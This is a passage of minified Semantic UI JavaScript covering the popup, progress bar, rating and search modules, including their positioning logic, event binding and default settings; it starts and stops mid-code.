left":c={top:"auto",bottom:l.height-a.top+o,left:a.left+n,right:"auto"};break;case"top center":c={bottom:l.height-a.top+o,left:a.left+a.width/2-s.width/2+n,top:"auto",right:"auto"};break;case"top right":c={bottom:l.height-a.top+o,right:l.width-a.left-a.width-n,top:"auto",left:"auto"};break;case"left center":c={top:a.top+a.height/2-s.height/2+n,right:l.width-a.left+o,left:"auto",bottom:"auto"};break;case"right center":c={top:a.top+a.height/2-s.height/2+n,left:a.left+a.width+o,bottom:"auto",right:"auto"};break;case"bottom left":c={top:a.top+a.height+o,left:a.left+n,bottom:"auto",right:"auto"};break;case"bottom center":c={top:a.top+a.height+o,left:a.left+a.width/2-s.width/2+n,bottom:"auto",right:"auto"};break;case"bottom right":c={top:a.top+a.height+o,right:l.width-a.left-a.width-n,left:"auto",bottom:"auto"}}if(c===i&&C.error(T.invalidPosition,e),C.debug("Calculated popup positioning values",c),r.css(c).removeClass(S.position).addClass(e).addClass(S.loading),u=C.get.popupOffset(),d=C.get.distanceFromBoundary(u,t),C.is.offstage(d,e)){if(C.debug("Position is outside viewport",e),z<w.maxSearchDepth)return z++,e=C.get.nextPosition(e),C.debug("Trying new position",e),!!r&&C.set.position(e,t);if(!w.lastResort)return C.debug("Popup could not find a position to display",r),C.error(T.cannotPlace,L),C.remove.attempts(),C.remove.loading(),C.reset(),w.onUnplaceable.call(r,L),!1;C.debug("No position found, showing with last position")}return C.debug("Position is on stage",e),C.remove.attempts(),C.remove.loading(),w.setFluidWidth&&C.is.fluid()&&C.set.fluidWidth(t),!0},fluidWidth:function(e){e=e||C.get.calculations(),C.debug("Automatically setting element width to parent width",e.parent.width),r.css("width",e.container.width)},variation:function(e){e=e||C.get.variation(),e&&C.has.popup()&&(C.verbose("Adding variation to popup",e),r.addClass(e))},visible:function(){F.addClass(S.visible)}},remove:{loading:function(){r.removeClass(S.loading)},variation:function(e){e=e||C.get.variation(),e&&(C.verbose("Removing variation",e),r.removeClass(e))},visible:function(){F.removeClass(S.visible)},attempts:function(){C.verbose("Resetting all searched positions"),z=0,M=!1}},bind:{events:function(){C.debug("Binding popup events to module"),"click"==w.on&&F.on("click"+P,C.toggle),"hover"==w.on&&d&&F.on("touchstart"+P,C.event.touchstart),C.get.startEvent()&&F.on(C.get.startEvent()+P,C.event.start).on(C.get.endEvent()+P,C.event.end),w.target&&C.debug("Target set to element",j),l.on("resize"+y,C.event.resize)},popup:function(){C.verbose("Allowing hover events on popup to prevent closing"),r&&C.has.popup()&&r.on("mouseenter"+P,C.event.start).on("mouseleave"+P,C.event.end)},close:function(){(w.hideOnScroll===!0||"auto"==w.hideOnScroll&&"click"!=w.on)&&D.one(C.get.scrollEvent()+y,C.event.hideGracefully),"hover"==w.on&&I&&(C.verbose("Binding popup close event to document"),s.on("touchstart"+y,function(e){C.verbose("Touched away from popup"),C.event.hideGracefully.call(L,e)})),"click"==w.on&&w.closable&&(C.verbose("Binding popup close event to document"),s.on("click"+y,function(e){C.verbose("Clicked away from popup"),C.event.hideGracefully.call(L,e)}))}},unbind:{events:function(){l.off(y),F.off(P)},close:function(){s.off(y),D.off(y)}},has:{popup:function(){return r&&r.length>0}},is:{offstage:function(t,n){var i=[];return e.each(t,function(e,t){t<-w.jitter&&(C.debug("Position exceeds allowable distance from edge",e,t,n),i.push(e))}),i.length>0},svg:function(e){return C.supports.svg()&&e instanceof SVGGraphicsElement},active:function(){return F.hasClass(S.active)},animating:function(){return r!==i&&r.hasClass(S.animating)},fluid:function(){return r!==i&&r.hasClass(S.fluid)},visible:function(){return r!==i&&r.hasClass(S.visible)},dropdown:function(){return F.hasClass(S.dropdown)},hidden:function(){return!C.is.visible()},rtl:function(){return"rtl"==F.css("direction")}},reset:function(){C.remove.visible(),w.preserve?e.fn.transition!==i&&r.transition("remove transition"):C.removePopup()},setting:function(t,n){if(e.isPlainObject(t))e.extend(!0,w,t);else{if(n===i)return w[t];w[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,C,t);else{if(n===i)return C[t];C[t]=n}},debug:function(){!w.silent&&w.debug&&(w.performance?C.performance.log(arguments):(C.debug=Function.prototype.bind.call(console.info,console,w.name+":"),C.debug.apply(console,arguments)))},verbose:function(){!w.silent&&w.verbose&&w.debug&&(w.performance?C.performance.log(arguments):(C.verbose=Function.prototype.bind.call(console.info,console,w.name+":"),C.verbose.apply(console,arguments)))},error:function(){w.silent||(C.error=Function.prototype.bind.call(console.error,console,w.name+":"),C.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;w.performance&&(t=(new Date).getTime(),i=f||t,n=t-i,f=t,m.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:L,"Execution Time":n})),clearTimeout(C.performance.timer),C.performance.timer=setTimeout(C.performance.display,500)},display:function(){var t=w.name+":",n=0;f=!1,clearTimeout(C.performance.timer),e.each(m,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",u&&(t+=" '"+u+"'"),(console.group!==i||console.table!==i)&&m.length>0&&(console.groupCollapsed(t),console.table?console.table(m):e.each(m,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),m=[]}},invoke:function(t,n,o){var r,s,l,c=N;return n=n||h,o=L||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},p?(N===i&&C.initialize(),C.invoke(g)):(N!==i&&N.invoke("destroy"),C.initialize())}),a!==i?a:this},e.fn.popup.settings={name:"Popup",silent:!1,debug:!1,verbose:!1,performance:!0,namespace:"popup",observeChanges:!0,onCreate:function(){},onRemove:function(){},onShow:function(){},onVisible:function(){},onHide:function(){},onUnplaceable:function(){},onHidden:function(){},on:"hover",boundary:t,addTouchEvents:!0,position:"top left",variation:"",movePopup:!0,target:!1,popup:!1,inline:!1,preserve:!1,hoverable:!1,content:!1,html:!1,title:!1,closable:!0,hideOnScroll:"auto",exclusive:!1,context:"body",scrollContext:t,prefer:"opposite",lastResort:!1,delay:{show:50,hide:70},setFluidWidth:!0,duration:200,transition:"scale",distanceAway:0,jitter:2,offset:0,maxSearchDepth:15,error:{invalidPosition:"The position you specified is not a valid position",cannotPlace:"Popup does not fit within the boundaries of the viewport",method:"The method you called is not defined.",noTransition:"This module requires ui transitions <https://github.com/Semantic-Org/UI-Transition>",notFound:"The target or popup you specified does not exist on the page"},metadata:{activator:"activator",content:"content",html:"html",offset:"offset",position:"position",title:"title",variation:"variation"},className:{active:"active",animating:"animating",dropdown:"dropdown",fluid:"fluid",loading:"loading",popup:"ui popup",position:"top left center bottom right",visible:"visible"},selector:{popup:".ui.popup"},templates:{escape:function(e){var t=/[&<>"'`]/g,n=/[&<>"'`]/,i={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#x27;","`":"&#x60;"},o=function(e){return i[e]};return n.test(e)?e.replace(t,o):e},popup:function(t){var n="",o=e.fn.popup.settings.templates.escape;return typeof t!==i&&(typeof t.title!==i&&t.title&&(t.title=o(t.title),n+='<div class="header">'+t.title+"</div>"),typeof t.content!==i&&t.content&&(t.content=o(t.content),n+='<div class="content">'+t.content+"</div>")),n}}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();e.fn.progress=function(t){var o,a=e(this),r=a.selector||"",s=(new Date).getTime(),l=[],c=arguments[0],u="string"==typeof c,d=[].slice.call(arguments,1);return a.each(function(){var a,f,m=e.isPlainObject(t)?e.extend(!0,{},e.fn.progress.settings,t):e.extend({},e.fn.progress.settings),g=m.className,p=m.metadata,h=m.namespace,v=m.selector,b=m.error,y="."+h,x="module-"+h,C=e(this),w=e(this).find(v.bar),k=e(this).find(v.progress),S=e(this).find(v.label),T=this,A=C.data(x),R=!1;f={initialize:function(){f.debug("Initializing progress bar",m),f.set.duration(),f.set.transitionEvent(),f.read.metadata(),f.read.settings(),f.instantiate()},instantiate:function(){f.verbose("Storing instance of progress",f),A=f,C.data(x,f)},destroy:function(){f.verbose("Destroying previous progress for",C),clearInterval(A.interval),f.remove.state(),C.removeData(x),A=i},reset:function(){f.remove.nextValue(),f.update.progress(0)},complete:function(){(f.percent===i||f.percent<100)&&(f.remove.progressPoll(),f.set.percent(100))},read:{metadata:function(){var e={percent:C.data(p.percent),total:C.data(p.total),value:C.data(p.value)};e.percent&&(f.debug("Current percent value set from metadata",e.percent),f.set.percent(e.percent)),e.total&&(f.debug("Total value set from metadata",e.total),f.set.total(e.total)),e.value&&(f.debug("Current value set from metadata",e.value),f.set.value(e.value),f.set.progress(e.value))},settings:function(){m.total!==!1&&(f.debug("Current total set in settings",m.total),f.set.total(m.total)),m.value!==!1&&(f.debug("Current value set in settings",m.value),f.set.value(m.value),f.set.progress(f.value)),m.percent!==!1&&(f.debug("Current percent set in settings",m.percent),f.set.percent(m.percent))}},increment:function(e){var t,n,i;f.has.total()?(n=f.get.value(),e=e||1,i=n+e):(n=f.get.percent(),e=e||f.get.randomValue(),i=n+e,t=100,f.debug("Incrementing percentage by",n,i)),i=f.get.normalizedValue(i),f.set.progress(i)},decrement:function(e){var t,n,i=f.get.total();i?(t=f.get.value(),e=e||1,n=t-e,f.debug("Decrementing value by",e,t)):(t=f.get.percent(),e=e||f.get.randomValue(),n=t-e,f.debug("Decrementing percentage by",e,t)),n=f.get.normalizedValue(n),f.set.progress(n)},has:{progressPoll:function(){return f.progressPoll},total:function(){return f.get.total()!==!1}},get:{text:function(e){var t=f.value||0,n=f.total||0,i=R?f.get.displayPercent():f.percent||0,o=f.total>0?n-t:100-i;return e=e||"",e=e.replace("{value}",t).replace("{total}",n).replace("{left}",o).replace("{percent}",i),f.verbose("Adding variables to progress bar text",e),e},normalizedValue:function(e){if(e<0)return f.debug("Value cannot decrement below 0"),0;if(f.has.total()){if(e>f.total)return f.debug("Value cannot increment above total",f.total),f.total}else if(e>100)return f.debug("Value cannot increment above 100 percent"),100;return e},updateInterval:function(){return"auto"==m.updateInterval?m.duration:m.updateInterval},randomValue:function(){return f.debug("Generating random increment percentage"),Math.floor(Math.random()*m.random.max+m.random.min)},numericValue:function(e){return"string"==typeof e?""!==e.replace(/[^\d.]/g,"")&&+e.replace(/[^\d.]/g,""):e},transitionEnd:function(){var e,t=n.createElement("element"),o={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"};for(e in o)if(t.style[e]!==i)return o[e]},displayPercent:function(){var e=w.width(),t=C.width(),n=parseInt(w.css("min-width"),10),i=e>n?e/t*100:f.percent;return m.precision>0?Math.round(i*(10*m.precision))/(10*m.precision):Math.round(i)},percent:function(){return f.percent||0},value:function(){return f.nextValue||f.value||0},total:function(){return f.total||!1}},create:{progressPoll:function(){f.progressPoll=setTimeout(function(){f.update.toNextValue(),f.remove.progressPoll()},f.get.updateInterval())}},is:{complete:function(){return f.is.success()||f.is.warning()||f.is.error()},success:function(){return C.hasClass(g.success)},warning:function(){return C.hasClass(g.warning)},error:function(){return C.hasClass(g.error)},active:function(){return C.hasClass(g.active)},visible:function(){return C.is(":visible")}},remove:{progressPoll:function(){f.verbose("Removing progress poll timer"),f.progressPoll&&(clearTimeout(f.progressPoll),delete f.progressPoll)},nextValue:function(){f.verbose("Removing progress value stored for next update"),delete f.nextValue},state:function(){f.verbose("Removing stored state"),delete f.total,delete f.percent,delete f.value},active:function(){f.verbose("Removing active state"),C.removeClass(g.active)},success:function(){f.verbose("Removing success state"),C.removeClass(g.success)},warning:function(){f.verbose("Removing warning state"),C.removeClass(g.warning)},error:function(){f.verbose("Removing error state"),C.removeClass(g.error)}},set:{barWidth:function(e){e>100?f.error(b.tooHigh,e):e<0?f.error(b.tooLow,e):(w.css("width",e+"%"),C.attr("data-percent",parseInt(e,10)))},duration:function(e){e=e||m.duration,e="number"==typeof e?e+"ms":e,f.verbose("Setting progress bar transition duration",e),w.css({"transition-duration":e})},percent:function(e){e="string"==typeof e?+e.replace("%",""):e,e=m.precision>0?Math.round(e*(10*m.precision))/(10*m.precision):Math.round(e),f.percent=e,f.has.total()||(f.value=m.precision>0?Math.round(e/100*f.total*(10*m.precision))/(10*m.precision):Math.round(e/100*f.total*10)/10,m.limitValues&&(f.value=f.value>100?100:f.value<0?0:f.value)),f.set.barWidth(e),f.set.labelInterval(),f.set.labels(),m.onChange.call(T,e,f.value,f.total)},labelInterval:function(){var t=function(){f.verbose("Bar finished animating, removing continuous label updates"),clearInterval(f.interval),R=!1,f.set.labels()};clearInterval(f.interval),w.one(a+y,t),R=!0,f.interval=setInterval(function(){var t=e.contains(n.documentElement,T);t||(clearInterval(f.interval),R=!1),f.set.labels()},m.framerate)},labels:function(){f.verbose("Setting both bar progress and outer label text"),f.set.barLabel(),f.set.state()},label:function(e){e=e||"",e&&(e=f.get.text(e),f.verbose("Setting label to text",e),S.text(e))},state:function(e){e=e!==i?e:f.percent,100===e?m.autoSuccess&&!(f.is.warning()||f.is.error()||f.is.success())?(f.set.success(),f.debug("Automatically triggering success at 100%")):(f.verbose("Reached 100% removing active state"),f.remove.active(),f.remove.progressPoll()):e>0?(f.verbose("Adjusting active progress bar label",e),f.set.active()):(f.remove.active(),f.set.label(m.text.active))},barLabel:function(e){e!==i?k.text(f.get.text(e)):"ratio"==m.label&&f.total?(f.verbose("Adding ratio to bar label"),k.text(f.get.text(m.text.ratio))):"percent"==m.label&&(f.verbose("Adding percentage to bar label"),k.text(f.get.text(m.text.percent)))},active:function(e){e=e||m.text.active,f.debug("Setting active state"),m.showActivity&&!f.is.active()&&C.addClass(g.active),f.remove.warning(),f.remove.error(),f.remove.success(),e=m.onLabelUpdate("active",e,f.value,f.total),e&&f.set.label(e),w.one(a+y,function(){m.onActive.call(T,f.value,f.total)})},success:function(e){e=e||m.text.success||m.text.active,f.debug("Setting success state"),C.addClass(g.success),f.remove.active(),f.remove.warning(),f.remove.error(),f.complete(),m.text.success?(e=m.onLabelUpdate("success",e,f.value,f.total),f.set.label(e)):(e=m.onLabelUpdate("active",e,f.value,f.total),f.set.label(e)),w.one(a+y,function(){m.onSuccess.call(T,f.total)})},warning:function(e){e=e||m.text.warning,f.debug("Setting warning state"),C.addClass(g.warning),f.remove.active(),f.remove.success(),f.remove.error(),f.complete(),e=m.onLabelUpdate("warning",e,f.value,f.total),e&&f.set.label(e),w.one(a+y,function(){m.onWarning.call(T,f.value,f.total)})},error:function(e){e=e||m.text.error,f.debug("Setting error state"),C.addClass(g.error),f.remove.active(),f.remove.success(),f.remove.warning(),f.complete(),e=m.onLabelUpdate("error",e,f.value,f.total),e&&f.set.label(e),w.one(a+y,function(){m.onError.call(T,f.value,f.total)})},transitionEvent:function(){a=f.get.transitionEnd()},total:function(e){f.total=e},value:function(e){f.value=e},progress:function(e){f.has.progressPoll()?(f.debug("Updated within interval, setting next update to use new value",e),f.set.nextValue(e)):(f.debug("First update in progress update interval, immediately updating",e),f.update.progress(e),f.create.progressPoll())},nextValue:function(e){f.nextValue=e}},update:{toNextValue:function(){var e=f.nextValue;e&&(f.debug("Update interval complete using last updated value",e),f.update.progress(e),f.remove.nextValue())},progress:function(e){var t;e=f.get.numericValue(e),e===!1&&f.error(b.nonNumeric,e),e=f.get.normalizedValue(e),f.has.total()?(f.set.value(e),t=e/f.total*100,f.debug("Calculating percent complete from total",t),f.set.percent(t)):(t=e,f.debug("Setting value to exact percentage value",t),f.set.percent(t))}},setting:function(t,n){if(f.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];e.isPlainObject(m[t])?e.extend(!0,m[t],n):m[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,f,t);else{if(n===i)return f[t];f[t]=n}},debug:function(){!m.silent&&m.debug&&(m.performance?f.performance.log(arguments):(f.debug=Function.prototype.bind.call(console.info,console,m.name+":"),f.debug.apply(console,arguments)))},verbose:function(){!m.silent&&m.verbose&&m.debug&&(m.performance?f.performance.log(arguments):(f.verbose=Function.prototype.bind.call(console.info,console,m.name+":"),f.verbose.apply(console,arguments)))},error:function(){m.silent||(f.error=Function.prototype.bind.call(console.error,console,m.name+":"),f.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;m.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:T,"Execution Time":n})),clearTimeout(f.performance.timer),f.performance.timer=setTimeout(f.performance.display,500)},display:function(){var t=m.name+":",n=0;s=!1,clearTimeout(f.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",r&&(t+=" '"+r+"'"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,a){var r,s,l,c=A;return n=n||d,a=T||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(f.error(b.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,n):s!==i&&(l=s),e.isArray(o)?o.push(l):o!==i?o=[o,l]:l!==i&&(o=l),s}},u?(A===i&&f.initialize(),f.invoke(c)):(A!==i&&A.invoke("destroy"),f.initialize())}),o!==i?o:this},e.fn.progress.settings={name:"Progress",namespace:"progress",silent:!1,debug:!1,verbose:!1,performance:!0,random:{min:2,max:5},duration:300,updateInterval:"auto",autoSuccess:!0,showActivity:!0,limitValues:!0,label:"percent",precision:0,framerate:1e3/30,percent:!1,total:!1,value:!1,onLabelUpdate:function(e,t,n,i){return t},onChange:function(e,t,n){},onSuccess:function(e){},onActive:function(e,t){},onError:function(e,t){},onWarning:function(e,t){},error:{method:"The method you called is not defined.",nonNumeric:"Progress value is non numeric",tooHigh:"Value specified is above 100%",tooLow:"Value specified is below 0%"},regExp:{variable:/\{\$*[A-z0-9]+\}/g},metadata:{percent:"percent",total:"total",value:"value"},selector:{bar:"> .bar",label:"> .label",progress:".bar > .progress"},text:{active:!1,error:!1,success:!1,warning:!1,percent:"{percent}%",ratio:"{value} of {total}"},className:{active:"active",error:"error",success:"success",warning:"warning"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.rating=function(t){var n,o=e(this),a=o.selector||"",r=(new Date).getTime(),s=[],l=arguments[0],c="string"==typeof l,u=[].slice.call(arguments,1);return o.each(function(){var d,f,m=e.isPlainObject(t)?e.extend(!0,{},e.fn.rating.settings,t):e.extend({},e.fn.rating.settings),g=m.namespace,p=m.className,h=m.metadata,v=m.selector,b=(m.error,"."+g),y="module-"+g,x=this,C=e(this).data(y),w=e(this),k=w.find(v.icon);f={initialize:function(){f.verbose("Initializing rating module",m),0===k.length&&f.setup.layout(),m.interactive?f.enable():f.disable(),f.set.initialLoad(),f.set.rating(f.get.initialRating()),f.remove.initialLoad(),f.instantiate()},instantiate:function(){f.verbose("Instantiating module",m),C=f,w.data(y,f)},destroy:function(){f.verbose("Destroying previous instance",C),f.remove.events(),w.removeData(y)},refresh:function(){k=w.find(v.icon)},setup:{layout:function(){var t=f.get.maxRating(),n=e.fn.rating.settings.templates.icon(t);f.debug("Generating icon html dynamically"),w.html(n),f.refresh()}},event:{mouseenter:function(){var t=e(this);t.nextAll().removeClass(p.selected),w.addClass(p.selected),t.addClass(p.selected).prevAll().addClass(p.selected)},mouseleave:function(){w.removeClass(p.selected),k.removeClass(p.selected)},click:function(){var t=e(this),n=f.get.rating(),i=k.index(t)+1,o="auto"==m.clearable?1===k.length:m.clearable;o&&n==i?f.clearRating():f.set.rating(i)}},clearRating:function(){f.debug("Clearing current rating"),f.set.rating(0)},bind:{events:function(){f.verbose("Binding events"),w.on("mouseenter"+b,v.icon,f.event.mouseenter).on("mouseleave"+b,v.icon,f.event.mouseleave).on("click"+b,v.icon,f.event.click)}},remove:{events:function(){f.verbose("Removing events"),w.off(b)},initialLoad:function(){d=!1}},enable:function(){f.debug("Setting rating to interactive mode"),f.bind.events(),w.removeClass(p.disabled)},disable:function(){f.debug("Setting rating to read-only mode"),f.remove.events(),w.addClass(p.disabled)},is:{initialLoad:function(){return d}},get:{initialRating:function(){return w.data(h.rating)!==i?(w.removeData(h.rating),w.data(h.rating)):m.initialRating},maxRating:function(){return w.data(h.maxRating)!==i?(w.removeData(h.maxRating),w.data(h.maxRating)):m.maxRating},rating:function(){var e=k.filter("."+p.active).length;return f.verbose("Current rating retrieved",e),e}},set:{rating:function(e){var t=e-1>=0?e-1:0,n=k.eq(t);w.removeClass(p.selected),k.removeClass(p.selected).removeClass(p.active),e>0&&(f.verbose("Setting current rating to",e),n.prevAll().addBack().addClass(p.active)),f.is.initialLoad()||m.onRate.call(x,e)},initialLoad:function(){d=!0}},setting:function(t,n){if(f.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];e.isPlainObject(m[t])?e.extend(!0,m[t],n):m[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,f,t);else{if(n===i)return f[t];f[t]=n}},debug:function(){!m.silent&&m.debug&&(m.performance?f.performance.log(arguments):(f.debug=Function.prototype.bind.call(console.info,console,m.name+":"),f.debug.apply(console,arguments)))},verbose:function(){!m.silent&&m.verbose&&m.debug&&(m.performance?f.performance.log(arguments):(f.verbose=Function.prototype.bind.call(console.info,console,m.name+":"),f.verbose.apply(console,arguments)))},error:function(){m.silent||(f.error=Function.prototype.bind.call(console.error,console,m.name+":"),f.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;m.performance&&(t=(new Date).getTime(),i=r||t,n=t-i,r=t,s.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:x,"Execution Time":n})),clearTimeout(f.performance.timer),f.performance.timer=setTimeout(f.performance.display,500)},display:function(){var t=m.name+":",n=0;r=!1,clearTimeout(f.performance.timer),e.each(s,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",a&&(t+=" '"+a+"'"),o.length>1&&(t+=" ("+o.length+")"),(console.group!==i||console.table!==i)&&s.length>0&&(console.groupCollapsed(t),console.table?console.table(s):e.each(s,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),s=[]}},invoke:function(t,o,a){var r,s,l,c=C;return o=o||u,a=x||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,o):s!==i&&(l=s),e.isArray(n)?n.push(l):n!==i?n=[n,l]:l!==i&&(n=l),s}},c?(C===i&&f.initialize(),f.invoke(l)):(C!==i&&C.invoke("destroy"),f.initialize())}),n!==i?n:this},e.fn.rating.settings={name:"Rating",namespace:"rating",slent:!1,debug:!1,verbose:!1,performance:!0,initialRating:0,interactive:!0,maxRating:4,clearable:"auto",fireOnInit:!1,onRate:function(e){},error:{method:"The method you called is not defined",noMaximum:"No maximum rating specified. Cannot generate HTML automatically"},metadata:{rating:"rating",maxRating:"maxRating"},className:{active:"active",disabled:"disabled",selected:"selected",loading:"loading"},selector:{icon:".icon"},templates:{icon:function(e){for(var t=1,n="";t<=e;)n+='<i class="icon"></i>',t++;return n}}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.search=function(o){var a,r=e(this),s=r.selector||"",l=(new Date).getTime(),c=[],u=arguments[0],d="string"==typeof u,f=[].slice.call(arguments,1);return e(this).each(function(){var m,g=e.isPlainObject(o)?e.extend(!0,{},e.fn.search.settings,o):e.extend({},e.fn.search.settings),p=g.className,h=g.metadata,v=g.regExp,b=g.fields,y=g.selector,x=g.error,C=g.namespace,w="."+C,k=C+"-module",S=e(this),T=S.find(y.prompt),A=S.find(y.searchButton),R=S.find(y.results),P=S.find(y.result),E=S.find(y.category),F=this,O=S.data(k),D=!1;
m={initialize:function(){m.verbose("Initializing module"),m.determine.searchFields(),m.bind.events(),m.set.type(),m.create.results(),m.instantiate()},instantiate:function(){m.verbose("Storing instance of module",m),O=m,S.data(k,m)},destroy:function(){m.verbose("Destroying instance"),S.off(w).removeData(k)},refresh:function(){m.debug("Refreshing selector cache"),T=S.find(y.prompt),A=S.find(y.searchButton),E=S.find(y.category),R=S.find(y.results),P=S.find(y.result)},refreshResults:function(){R=S.find(y.results),P=S.find(y.result)},bind:{events:function(){m.verbose("Binding events to search"),g.automatic&&(S.on(m.get.inputEvent()+w,y.prompt,m.event.input),T.attr("autocomplete","off")),S.on("focus"+w,y.prompt,m.event.focus).on("blur"+w,y.prompt,m.event.blur).on("keydown"+w,y.prompt,m.handleKeyboard).on("click"+w,y.searchButton,m.query).on("mousedown"+w,y.results,m.event.result.mousedown).on("mouseup"+w,y.results,m.event.result.mouseup).on("click"+w,y.result,m.event.result.click)}},determine:{searchFields:function(){o&&o.searchFields!==i&&(g.searchFields=o.searchFields)}},event:{input:function(){clearTimeout(m.timer),m.timer=setTimeout(m.query,g.searchDelay)},focus:function(){m.set.focus(),m.has.minimumCharacters()&&(m.query(),m.can.show()&&m.showResults())},blur:function(e){var t=n.activeElement===this,i=function(){m.cancel.query(),m.remove.focus(),m.timer=setTimeout(m.hideResults,g.hideDelay)};t||(m.resultsClicked?(m.debug("Determining if user action caused search to close"),S.one("click.close"+w,y.results,function(e){return m.is.inMessage(e)||D?void T.focus():(D=!1,void(m.is.animating()||m.is.hidden()||i()))})):(m.debug("Input blurred without user action, closing results"),i()))},result:{mousedown:function(){m.resultsClicked=!0},mouseup:function(){m.resultsClicked=!1},click:function(n){m.debug("Search result selected");var i=e(this),o=i.find(y.title).eq(0),a=i.is("a[href]")?i:i.find("a[href]").eq(0),r=a.attr("href")||!1,s=a.attr("target")||!1,l=(o.html(),o.length>0&&o.text()),c=m.get.results(),u=i.data(h.result)||m.get.result(l,c);return e.isFunction(g.onSelect)&&g.onSelect.call(F,u,c)===!1?(m.debug("Custom onSelect callback cancelled default select action"),void(D=!0)):(m.hideResults(),l&&m.set.value(l),void(r&&(m.verbose("Opening search link found in result",a),"_blank"==s||n.ctrlKey?t.open(r):t.location.href=r)))}}},handleKeyboard:function(e){var t,n=S.find(y.result),i=S.find(y.category),o=n.index(n.filter("."+p.active)),a=n.length,r=e.which,s={backspace:8,enter:13,escape:27,upArrow:38,downArrow:40};if(r==s.escape&&(m.verbose("Escape key pressed, blurring search field"),m.trigger.blur()),m.is.visible())if(r==s.enter){if(m.verbose("Enter key pressed, selecting active result"),n.filter("."+p.active).length>0)return m.event.result.click.call(n.filter("."+p.active),e),e.preventDefault(),!1}else r==s.upArrow?(m.verbose("Up key pressed, changing active result"),t=o-1<0?o:o-1,i.removeClass(p.active),n.removeClass(p.active).eq(t).addClass(p.active).closest(i).addClass(p.active),e.preventDefault()):r==s.downArrow&&(m.verbose("Down key pressed, changing active result"),t=o+1>=a?o:o+1,i.removeClass(p.active),n.removeClass(p.active).eq(t).addClass(p.active).closest(i).addClass(p.active),e.preventDefault());else r==s.enter&&(m.verbose("Enter key pressed, executing query"),m.query(),m.set.buttonPressed(),T.one("keyup",m.remove.buttonFocus))},setup:{api:function(t){var n={debug:g.debug,on:!1,cache:!0,action:"search",urlData:{query:t},onSuccess:function(e){m.parse.response.call(F,e,t)},onAbort:function(e){},onFailure:function(){m.displayMessage(x.serverError)},onError:m.error};e.extend(!0,n,g.apiSettings),m.verbose("Setting up API request",n),S.api(n)}},can:{useAPI:function(){return e.fn.api!==i},show:function(){return m.is.focused()&&!m.is.visible()&&!m.is.empty()},transition:function(){return g.transition&&e.fn.transition!==i&&S.transition("is supported")}},is:{animating:function(){return R.hasClass(p.animating)},hidden:function(){return R.hasClass(p.hidden)},inMessage:function(t){return t.target&&e(t.target).closest(y.message).length>0},empty:function(){return""===R.html()},visible:function(){return R.filter(":visible").length>0},focused:function(){return T.filter(":focus").length>0}},trigger:{blur:function(){var e=n.createEvent("HTMLEvents"),t=T[0];t&&(m.verbose("Triggering native blur event"),e.initEvent("blur",!1,!1),t.dispatchEvent(e))}},get:{inputEvent:function(){var e=T[0],t=e!==i&&e.oninput!==i?"input":e!==i&&e.onpropertychange!==i?"propertychange":"keyup";return t},value:function(){return T.val()},results:function(){var e=S.data(h.results);return e},result:function(t,n){var o=["title","id"],a=!1;return t=t!==i?t:m.get.value(),n=n!==i?n:m.get.results(),"category"===g.type?(m.debug("Finding result that 